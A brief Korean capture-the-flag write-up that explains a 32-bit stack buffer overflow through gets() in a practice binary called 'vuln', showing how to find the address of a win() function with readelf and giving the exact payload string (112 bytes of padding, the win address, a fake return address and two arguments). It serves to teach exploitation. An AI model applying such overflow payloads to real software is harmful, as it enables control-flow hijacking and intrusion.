보다시피 main에도 vuln에도 win호출하는 코드가 없다.
포인트
1. win(0xDEADBEEF,0xDEADC0DE) 을 호출
2. gets로 bof
1. win 주소 확인
readelf -s vuln
0x80485cb
2. gets(buf) 후 buf 확인
108byte+4byte(ebp) 아무거나 채우면 된다.
3. ret를 win주소로 bof
"a"*112(dummy)+"\xcb\x85\x04\x08"(win 주소)+"a"*4+"\xef\xbe\xad\xde"(arg1)+"\xde\xc0\xad\xde"(arg2)
왜 "a"*4?
win의 리턴 주소
vuln 함수에서 ebp, esp
vuln함수 leave 이후
win함수 mov ebp, esp 이후
gets(buf) 이후 스택 상태
자 이제 실행해보자
꿀